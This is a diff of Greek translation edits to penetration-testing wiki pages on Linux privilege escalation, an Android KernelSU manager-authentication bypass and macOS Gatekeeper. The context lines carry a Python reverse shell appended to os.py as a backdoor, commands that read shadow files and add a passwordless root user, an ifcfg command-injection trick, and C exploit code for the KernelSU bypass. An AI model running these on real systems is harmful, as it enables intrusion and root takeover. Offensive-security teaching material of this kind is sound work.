Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό σας υπολογιστή**.
|
||||
|
||||
Πρέπει να ρυθμίσετε αυτή την επιλογή στο `$HOME/.ssh.config` όπως αυτό:
|
||||
```
|
||||
@ -1177,7 +1177,7 @@ ssh-forward-agent-exploitation.md
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
Αν βρείτε κάποιο περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**.
|
||||
Αν βρείτε οποιοδήποτε περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**.
|
||||
|
||||
### Αρχεία Passwd/Shadow
|
||||
|
||||
@ -1188,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
#Shadow equivalent files
|
||||
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
|
||||
```
|
||||
Σε ορισμένες περιπτώσεις μπορείτε να βρείτε **password hashes** μέσα στο αρχείο `/etc/passwd` (ή ισοδύναμο).
|
||||
Σε ορισμένες περιπτώσεις, μπορείτε να βρείτε **password hashes** μέσα στο αρχείο `/etc/passwd` (ή ισοδύναμο).
|
||||
```bash
|
||||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
```
|
||||
@ -1214,7 +1214,7 @@ E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
|
||||
su - dummy
|
||||
```
|
||||
ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD το `/etc/passwd` βρίσκεται στο `/etc/pwd.db` και το `/etc/master.passwd`, επίσης το `/etc/shadow` έχει μετονομαστεί σε `/etc/spwd.db`.
|
||||
ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD, το `/etc/passwd` βρίσκεται στο `/etc/pwd.db` και το `/etc/master.passwd`, επίσης το `/etc/shadow` έχει μετονομαστεί σε `/etc/spwd.db`.
|
||||
|
||||
Πρέπει να ελέγξετε αν μπορείτε να **γράψετε σε ορισμένα ευαίσθητα αρχεία**. Για παράδειγμα, μπορείτε να γράψετε σε κάποιο **αρχείο διαμόρφωσης υπηρεσίας**;
|
||||
```bash
|
||||
@ -1292,7 +1292,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
|
||||
### Καταγραφές
|
||||
|
||||
Αν μπορείτε να διαβάσετε καταγραφές, μπορεί να είστε σε θέση να βρείτε **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτές**. Όσο πιο παράξενη είναι η καταγραφή, τόσο πιο ενδιαφέρουσα θα είναι (πιθανώς).\
|
||||
Επίσης, κάποιες "**κακώς**" ρυθμισμένες (backdoored?) **καταγραφές ελέγχου** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς πρόσβασης** μέσα σε καταγραφές ελέγχου όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
Επίσης, κάποιες **κακώς** ρυθμισμένες (backdoored?) **καταγραφές ελέγχου** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς πρόσβασης** μέσα σε καταγραφές ελέγχου όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
@ -1313,21 +1313,21 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
### Generic Creds Search/Regex
|
||||
|
||||
Πρέπει επίσης να ελέγξετε για αρχεία που περιέχουν τη λέξη "**password**" στο **όνομα** ή μέσα στο **περιεχόμενο**, και επίσης να ελέγξετε για IPs και emails μέσα σε logs, ή regexps hashes.\
|
||||
Δεν θα παραθέσω εδώ πώς να κάνετε όλα αυτά, αλλά αν σας ενδιαφέρει μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
|
||||
Δεν θα παραθέσω εδώ πώς να κάνετε όλα αυτά, αλλά αν σας ενδιαφέρει, μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
|
||||
|
||||
## Writable files
|
||||
|
||||
### Python library hijacking
|
||||
|
||||
Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελείται το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py).
|
||||
Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελεστεί το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py).
|
||||
|
||||
Για να **backdoor the library** απλά προσθέστε στο τέλος της βιβλιοθήκης os.py την εξής γραμμή (αλλάξτε IP και PORT):
|
||||
Για να **backdoor τη βιβλιοθήκη** απλά προσθέστε στο τέλος της βιβλιοθήκης os.py την εξής γραμμή (αλλάξτε IP και PORT):
|
||||
```python
|
||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||
```
|
||||
### Logrotate exploitation
|
||||
|
||||
Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να παραποιηθεί για να εκτελέσει αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών.
|
||||
Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να χειραγωγηθεί για να εκτελεί αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών.
|
||||
|
||||
> [!TIP]
|
||||
> Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες
|
||||
@ -1336,17 +1336,17 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
|
||||
Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με [**logrotten**](https://github.com/whotwagner/logrotten).
|
||||
|
||||
Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε διαπιστώσετε ότι μπορείτε να τροποποιήσετε τα αρχεία καταγραφής, ελέγξτε ποιος διαχειρίζεται αυτά τα αρχεία και ελέγξτε αν μπορείτε να ανυψώσετε τα δικαιώματα αντικαθιστώντας τα αρχεία καταγραφής με symlinks.
|
||||
Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε διαπιστώσετε ότι μπορείτε να τροποποιήσετε τα logs, ελέγξτε ποιος διαχειρίζεται αυτά τα logs και ελέγξτε αν μπορείτε να ανυψώσετε δικαιώματα αντικαθιστώντας τα logs με symlinks.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
**Αναφορά ευπάθειας:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Εάν, για οποιονδήποτε λόγο, ένας χρήστης είναι σε θέση να **γράψει** ένα σενάριο `ifcf-<whatever>` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **προσαρμόσει** ένα υπάρχον, τότε το **σύστημά σας είναι pwned**.
|
||||
Αν, για οποιονδήποτε λόγο, ένας χρήστης είναι σε θέση να **γράψει** ένα σενάριο `ifcf-<whatever>` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **προσαρμόσει** ένα υπάρχον, τότε το **σύστημά σας είναι pwned**.
|
||||
|
||||
Τα σενάρια δικτύου, όπως το _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Φαίνονται ακριβώς όπως τα αρχεία .INI. Ωστόσο, είναι \~sourced\~ στο Linux από τον Network Manager (dispatcher.d).
|
||||
|
||||
Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Εάν έχετε **λευκό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό διάστημα**. Αυτό σημαίνει ότι **όλα μετά το πρώτο κενό διάστημα εκτελούνται ως root**.
|
||||
Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Αν έχετε **λευκό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό διάστημα**. Αυτό σημαίνει ότι **όλα μετά το πρώτο κενό διάστημα εκτελούνται ως root**.
|
||||
|
||||
Για παράδειγμα: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
@ -1360,7 +1360,7 @@ DEVICE=eth0
|
||||
|
||||
Από την άλλη πλευρά, το `/etc/init` σχετίζεται με το **Upstart**, μια νεότερη **διαχείριση υπηρεσιών** που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση στο Upstart, τα scripts του SysVinit εξακολουθούν να χρησιμοποιούνται παράλληλα με τις ρυθμίσεις του Upstart λόγω ενός επιπέδου συμβατότητας στο Upstart.
|
||||
|
||||
**systemd** αναδύεται ως ένας σύγχρονος διαχειριστής εκκίνησης και υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως εκκίνηση daemon κατ' απαίτηση, διαχείριση automount και στιγμιότυπα κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος.
|
||||
**systemd** αναδύεται ως ένας σύγχρονος διαχειριστής αρχικοποίησης και υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως εκκίνηση daemon κατ' απαίτηση, διαχείριση automount και στιγμιότυπα κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος.
|
||||
|
||||
## Άλλες Τεχνικές
|
||||
|
||||
@ -1404,7 +1404,7 @@ cisco-vmanage.md
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (φυσική πρόσβαση):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**Συλλογή περισσότερων scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
**Συγκέντρωση περισσότερων scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
## Αναφορές
|
||||
|
||||
@ -1428,7 +1428,7 @@ cisco-vmanage.md
|
||||
|
||||
## Android rooting frameworks: κατάχρηση manager-channel
|
||||
|
||||
Τα Android rooting frameworks συνήθως συνδέουν μια syscall για να εκθέσουν τη λειτουργικότητα του πυρήνα με προνόμια σε έναν διαχειριστή χώρου χρηστών. Αδύνατη αυθεντικοποίηση διαχειριστή (π.χ., έλεγχοι υπογραφής βασισμένοι σε FD-order ή κακές ρυθμίσεις κωδικών πρόσβασης) μπορεί να επιτρέψει σε μια τοπική εφαρμογή να προσποιηθεί τον διαχειριστή και να ανυψώσει σε root σε ήδη-rooted συσκευές. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ:
|
||||
Τα Android rooting frameworks συνήθως συνδέουν μια syscall για να εκθέσουν τη λειτουργικότητα του πυρήνα με προνόμια σε έναν διαχειριστή χώρου χρηστών. Αδύνατη αυθεντικοποίηση διαχειριστή (π.χ., ελέγχους υπογραφής με βάση την παραγγελία FD ή κακούς κωδικούς πρόσβασης) μπορεί να επιτρέψει σε μια τοπική εφαρμογή να προσποιηθεί τον διαχειριστή και να ανυψώσει σε root σε ήδη-rooted συσκευές. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ:
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
|
@ -24,7 +24,7 @@
|
||||
- Οι εντολές περιλαμβάνουν: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, κ.λπ.
|
||||
|
||||
---
|
||||
## Ροή αυθεντικοποίησης KernelSU v0.5.7 (όπως υλοποιήθηκε)
|
||||
## Ροή αυθεντικοποίησης KernelSU v0.5.7 (όπως υλοποιείται)
|
||||
|
||||
Όταν το userspace καλεί prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), το KernelSU επαληθεύει:
|
||||
|
||||
@ -33,7 +33,7 @@
|
||||
- Αναφορά: core_hook.c (v0.5.7) λογική προθέματος διαδρομής.
|
||||
|
||||
2) Έλεγχος ιδιοκτησίας
|
||||
- Η διαδρομή πρέπει να ανήκει στο UID του καλούντα.
|
||||
- Η διαδρομή πρέπει να ανήκει στον UID του καλούντα.
|
||||
- Αναφορά: core_hook.c (v0.5.7) λογική ιδιοκτησίας.
|
||||
|
||||
3) Έλεγχος υπογραφής APK μέσω σάρωσης πίνακα FD
|
||||
@ -42,18 +42,18 @@
|
||||
- Αναλύστε την υπογραφή APK v2 και επαληθεύστε την με την επίσημη πιστοποίηση του manager.
|
||||
- Αναφορές: manager.c (επανάληψη FDs), apk_sign.c (επικύρωση APK v2).
|
||||
|
||||
Εάν περάσουν όλοι οι έλεγχοι, ο πυρήνας αποθηκεύει προσωρινά το UID του manager και αποδέχεται προνομιακές εντολές από αυτό το UID μέχρι να επαναρυθμιστεί.
|
||||
Εάν περάσουν όλοι οι έλεγχοι, ο πυρήνας αποθηκεύει προσωρινά το UID του manager και δέχεται προνομιακές εντολές από αυτό το UID μέχρι να επαναρυθμιστεί.
|
||||
|
||||
---
|
||||
## Κατηγορία ευπάθειας: εμπιστοσύνη στο “πρώτο ταιριαστό APK” από την επανάληψη FD
|
||||
## Κατηγορία ευπάθειας: εμπιστοσύνη στην "πρώτη ταιριαστή APK" από την επανάληψη FD
|
||||
|
||||
Εάν ο έλεγχος υπογραφής συνδέεται με "το πρώτο ταιριαστό /data/app/*/base.apk" που βρέθηκε στον πίνακα FD της διαδικασίας, στην πραγματικότητα δεν επαληθεύει το δικό του πακέτο του καλούντα. Ένας επιτιθέμενος μπορεί να τοποθετήσει εκ των προτέρων ένα νόμιμα υπογεγραμμένο APK (του πραγματικού manager) έτσι ώστε να εμφανίζεται νωρίτερα στη λίστα FD από το δικό του base.apk.
|
||||
Εάν ο έλεγχος υπογραφής συνδέεται με "την πρώτη ταιριαστή /data/app/*/base.apk" που βρέθηκε στον πίνακα FD της διαδικασίας, στην πραγματικότητα δεν επαληθεύει το δικό του πακέτο του καλούντα. Ένας επιτιθέμενος μπορεί να τοποθετήσει εκ των προτέρων μια νόμιμα υπογεγραμμένη APK (του πραγματικού manager) έτσι ώστε να εμφανίζεται νωρίτερα στη λίστα FD από το δικό του base.apk.
|
||||
|
||||
Αυτή η εμπιστοσύνη μέσω έμμεσης αναφοράς επιτρέπει σε μια μη προνομιούχα εφαρμογή να προσποιείται τον manager χωρίς να κατέχει το κλειδί υπογραφής του manager.
|
||||
|
||||
Κύριες ιδιότητες που εκμεταλλεύονται:
|
||||
- Η σάρωση FD δεν συνδέεται με την ταυτότητα του πακέτου του καλούντα; απλώς ταιριάζει με τις συμβολοσειρές διαδρομής.
|
||||
- open() επιστρέφει τον χαμηλότερο διαθέσιμο FD. Κλείνοντας πρώτα τους χαμηλότερους αριθμημένους FDs, ένας επιτιθέμενος μπορεί να ελέγξει τη σειρά.
|
||||
- Το open() επιστρέφει τον χαμηλότερο διαθέσιμο FD. Κλείνοντας πρώτα τους χαμηλότερους αριθμημένους FDs, ένας επιτιθέμενος μπορεί να ελέγξει τη σειρά.
|
||||
- Ο φίλτρος ελέγχει μόνο ότι η διαδρομή ταιριάζει με /data/app/*/base.apk – όχι ότι αντιστοιχεί στο εγκατεστημένο πακέτο του καλούντα.
|
||||
|
||||
---
|
||||
@ -68,18 +68,18 @@
|
||||
|
||||
Βασικά βήματα:
|
||||
1) Δημιουργήστε μια έγκυρη διαδρομή προς τον κατάλογο δεδομένων της δικής σας εφαρμογής για να ικανοποιήσετε τους ελέγχους προθέματος και ιδιοκτησίας.
|
||||
2) Βεβαιωθείτε ότι ένα γνήσιο KernelSU Manager base.apk είναι ανοιχτό σε χαμηλότερο αριθμημένο FD από το δικό σας base.apk.
|
||||
2) Βεβαιωθείτε ότι μια γνήσια APK του KernelSU Manager είναι ανοιχτή σε έναν χαμηλότερο αριθμημένο FD από το δικό σας base.apk.
|
||||
3) Καλέστε prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) για να περάσετε τους ελέγχους.
|
||||
4) Εκδώστε προνομιακές εντολές όπως CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY για να διατηρήσετε την ανύψωση.
|
||||
|
||||
Πρακτικές σημειώσεις για το βήμα 2 (σειρά FD):
|
||||
- Εντοπίστε τον FD της διαδικασίας σας για το δικό σας /data/app/*/base.apk περπατώντας στους συμβολικούς συνδέσμους /proc/self/fd.
|
||||
- Κλείστε έναν χαμηλό FD (π.χ., stdin, fd 0) και ανοίξτε πρώτα το νόμιμο APK του manager ώστε να καταλαμβάνει τον fd 0 (ή οποιονδήποτε δείκτη χαμηλότερο από τον δικό σας fd base.apk).
|
||||
- Συμπεριλάβετε το νόμιμο APK του manager με την εφαρμογή σας ώστε η διαδρομή του να ικανοποιεί τον απλό φίλτρο του πυρήνα. Για παράδειγμα, τοποθετήστε το κάτω από μια υποδιαδρομή που ταιριάζει με /data/app/*/base.apk.
|
||||
- Κλείστε έναν χαμηλό FD (π.χ., stdin, fd 0) και ανοίξτε πρώτα την νόμιμη APK του manager ώστε να καταλαμβάνει τον fd 0 (ή οποιονδήποτε δείκτη χαμηλότερο από τον δικό σας fd base.apk).
|
||||
- Συμπεριλάβετε την νόμιμη APK του manager με την εφαρμογή σας ώστε η διαδρομή της να ικανοποιεί τον απλό φίλτρο του πυρήνα. Για παράδειγμα, τοποθετήστε την κάτω από μια υποδιαδρομή που ταιριάζει με /data/app/*/base.apk.
|
||||
|
||||
Παράδειγμα κώδικα (Android/Linux, μόνο για επεξηγηματικούς σκοπούς):
|
||||
|
||||
Επαναλάβετε τους ανοιχτούς FDs για να εντοπίσετε τις καταχωρίσεις base.apk:
|
||||
Επαναλάβετε τους ανοιχτούς FDs για να εντοπίσετε τις εγγραφές base.apk:
|
||||
```c
|
||||
#include <dirent.h>
|
||||
#include <stdio.h>
|
||||
@ -139,7 +139,7 @@ result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
|
||||
return (int)result;
|
||||
}
|
||||
```
|
||||
Μετά την επιτυχία, εντολές με προνόμια (παραδείγματα):
|
||||
Μετά την επιτυχία, οι προνομιακές εντολές (παραδείγματα):
|
||||
- CMD_GRANT_ROOT: προώθηση της τρέχουσας διαδικασίας σε root
|
||||
- CMD_ALLOW_SU: προσθήκη του πακέτου/UID σας στη λίστα επιτρεπόμενων για μόνιμο su
|
||||
- CMD_SET_SEPOLICY: προσαρμογή της πολιτικής SELinux όπως υποστηρίζεται από το πλαίσιο
|
||||
@ -152,15 +152,15 @@ return (int)result;
|
||||
|
||||
Για προγραμματιστές πλαισίων:
|
||||
- Συνδέστε την αυθεντικοποίηση με το πακέτο/UID του καλούντος, όχι με τυχαίους FD:
|
||||
- Εντοπίστε το πακέτο του καλούντος από το UID του και επαληθεύστε το με την υπογραφή του εγκατεστημένου πακέτου (μέσω PackageManager) αντί να σαρώσετε τους FD.
|
||||
- Εντοπίστε το πακέτο του καλούντος από το UID του και επαληθεύστε το με την υπογραφή του εγκατεστημένου πακέτου (μέσω του PackageManager) αντί να σαρώσετε τους FD.
|
||||
- Εάν είναι μόνο πυρήνας, χρησιμοποιήστε σταθερή ταυτότητα καλούντος (task creds) και επαληθεύστε σε μια σταθερή πηγή αλήθειας που διαχειρίζεται ο init/userspace helper, όχι τους FD διαδικασίας.
|
||||
- Αποφύγετε τους ελέγχους προθέματος διαδρομής ως ταυτότητα; είναι προφανώς ικανοποιημένοι από τον καλούντα.
|
||||
- Χρησιμοποιήστε προκλήσεις με nonce–απάντηση μέσω του καναλιού και καθαρίστε οποιαδήποτε αποθηκευμένη ταυτότητα διαχειριστή κατά την εκκίνηση ή σε σημαντικά γεγονότα.
|
||||
- Σκεφτείτε την αυθεντικοποιημένη IPC βασισμένη σε binder αντί να υπερφορτώνετε τους γενικούς syscalls όταν είναι εφικτό.
|
||||
- Χρησιμοποιήστε προκλήσεις βασισμένες σε nonce–απάντηση μέσω του καναλιού και καθαρίστε οποιαδήποτε αποθηκευμένη ταυτότητα διαχειριστή κατά την εκκίνηση ή σε σημαντικά γεγονότα.
|
||||
- Σκεφτείτε την αυθεντικοποιημένη IPC βασισμένη σε binder αντί να υπερφορτώνετε τις γενικές syscalls όταν είναι εφικτό.
|
||||
|
||||
Για αμυντικούς/μπλε ομάδες:
|
||||
- Ανιχνεύστε την παρουσία πλαισίων rooting και διαδικασιών διαχειριστή; παρακολουθήστε τις κλήσεις prctl με ύποπτες μαγικές σταθερές (π.χ., 0xDEADBEEF) εάν έχετε τηλεμετρία πυρήνα.
|
||||
- Σε διαχειριζόμενα στόλους, αποκλείστε ή ειδοποιήστε για δέκτες εκκίνησης από μη αξιόπιστα πακέτα που προσπαθούν γρήγορα να εκτελέσουν εντολές διαχειριστή με προνόμια μετά την εκκίνηση.
|
||||
- Ανιχνεύστε την παρουσία πλαισίων ριζοποίησης και διαδικασιών διαχειριστή; παρακολουθήστε τις κλήσεις prctl με ύποπτες μαγικές σταθερές (π.χ., 0xDEADBEEF) εάν έχετε τηλεμετρία πυρήνα.
|
||||
- Σε διαχειριζόμενα στόλους, αποκλείστε ή ειδοποιήστε για δέκτες εκκίνησης από μη αξιόπιστα πακέτα που προσπαθούν γρήγορα να εκτελέσουν προνομιακές εντολές διαχειριστή μετά την εκκίνηση.
|
||||
- Βεβαιωθείτε ότι οι συσκευές είναι ενημερωμένες σε διορθωμένες εκδόσεις πλαισίου; ακυρώστε τις αποθηκευμένες ταυτότητες διαχειριστή κατά την ενημέρωση.
|
||||
|
||||
Περιορισμοί της επίθεσης:
|
||||
|
@ -6,13 +6,13 @@
|
||||
|
||||
**Gatekeeper** είναι μια λειτουργία ασφαλείας που έχει αναπτυχθεί για τα λειτουργικά συστήματα Mac, σχεδιασμένη να διασφαλίσει ότι οι χρήστες **εκτελούν μόνο αξιόπιστο λογισμικό** στα συστήματά τους. Λειτουργεί με το να **επικυρώνει το λογισμικό** που κατεβάζει ο χρήστης και προσπαθεί να ανοίξει από **πηγές εκτός του App Store**, όπως μια εφαρμογή, ένα πρόσθετο ή ένα πακέτο εγκατάστασης.
|
||||
|
||||
Ο βασικός μηχανισμός του Gatekeeper έγκειται στη διαδικασία **επικύρωσης**. Ελέγχει αν το κατεβασμένο λογισμικό είναι **υπογεγραμμένο από έναν αναγνωρισμένο προγραμματιστή**, διασφαλίζοντας την αυθεντικότητα του λογισμικού. Επιπλέον, διαπιστώνει αν το λογισμικό είναι **νοταρισμένο από την Apple**, επιβεβαιώνοντας ότι είναι απαλλαγμένο από γνωστό κακόβουλο περιεχόμενο και δεν έχει παραποιηθεί μετά τη νοταρίσματος.
|
||||
Ο βασικός μηχανισμός του Gatekeeper έγκειται στη διαδικασία **επικύρωσης** του. Ελέγχει αν το κατεβασμένο λογισμικό είναι **υπογεγραμμένο από έναν αναγνωρισμένο προγραμματιστή**, διασφαλίζοντας την αυθεντικότητα του λογισμικού. Επιπλέον, διαπιστώνει αν το λογισμικό είναι **νοταρισμένο από την Apple**, επιβεβαιώνοντας ότι είναι απαλλαγμένο από γνωστό κακόβουλο περιεχόμενο και δεν έχει παραποιηθεί μετά τη νοταρίσματος.
|
||||
|
||||
Επιπλέον, το Gatekeeper ενισχύει τον έλεγχο και την ασφάλεια του χρήστη, **ζητώντας από τους χρήστες να εγκρίνουν το άνοιγμα** του κατεβασμένου λογισμικού για πρώτη φορά. Αυτό το μέτρο προστασίας βοηθά στην αποφυγή της εκτέλεσης δυνητικά επιβλαβούς εκτελέσιμου κώδικα που μπορεί να έχουν μπερδέψει οι χρήστες με ένα αβλαβές αρχείο δεδομένων.
|
||||
|
||||
### Υπογραφές Εφαρμογών
|
||||
|
||||
Οι υπογραφές εφαρμογών, γνωστές και ως υπογραφές κώδικα, είναι ένα κρίσιμο στοιχείο της υποδομής ασφαλείας της Apple. Χρησιμοποιούνται για να **επικυρώσουν την ταυτότητα του συγγραφέα του λογισμικού** (του προγραμματιστή) και για να διασφαλίσουν ότι ο κώδικας δεν έχει παραποιηθεί από την τελευταία φορά που υπογράφηκε.
|
||||
Οι υπογραφές εφαρμογών, γνωστές και ως υπογραφές κώδικα, είναι ένα κρίσιμο στοιχείο της υποδομής ασφαλείας της Apple. Χρησιμοποιούνται για να **επικυρώνουν την ταυτότητα του συγγραφέα του λογισμικού** (του προγραμματιστή) και για να διασφαλίσουν ότι ο κώδικας δεν έχει παραποιηθεί από την τελευταία φορά που υπογράφηκε.
|
||||
|
||||
Ακολουθεί πώς λειτουργεί:
|
||||
|
||||
@ -20,9 +20,9 @@
|
||||
2. **Διανομή της Εφαρμογής:** Η υπογεγραμμένη εφαρμογή διανέμεται στους χρήστες μαζί με το πιστοποιητικό του προγραμματιστή, το οποίο περιέχει το αντίστοιχο δημόσιο κλειδί.
|
||||
3. **Επικύρωση της Εφαρμογής:** Όταν ένας χρήστης κατεβάσει και προσπαθήσει να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει τον κατακερματισμό. Στη συνέχεια, υπολογίζει ξανά τον κατακερματισμό με βάση την τρέχουσα κατάσταση της εφαρμογής και τον συγκρίνει με τον αποκρυπτογραφημένο κατακερματισμό. Αν ταιριάζουν, σημαίνει ότι **η εφαρμογή δεν έχει τροποποιηθεί** από την υπογραφή του προγραμματιστή και το σύστημα επιτρέπει την εκτέλεση της εφαρμογής.
|
||||
|
||||
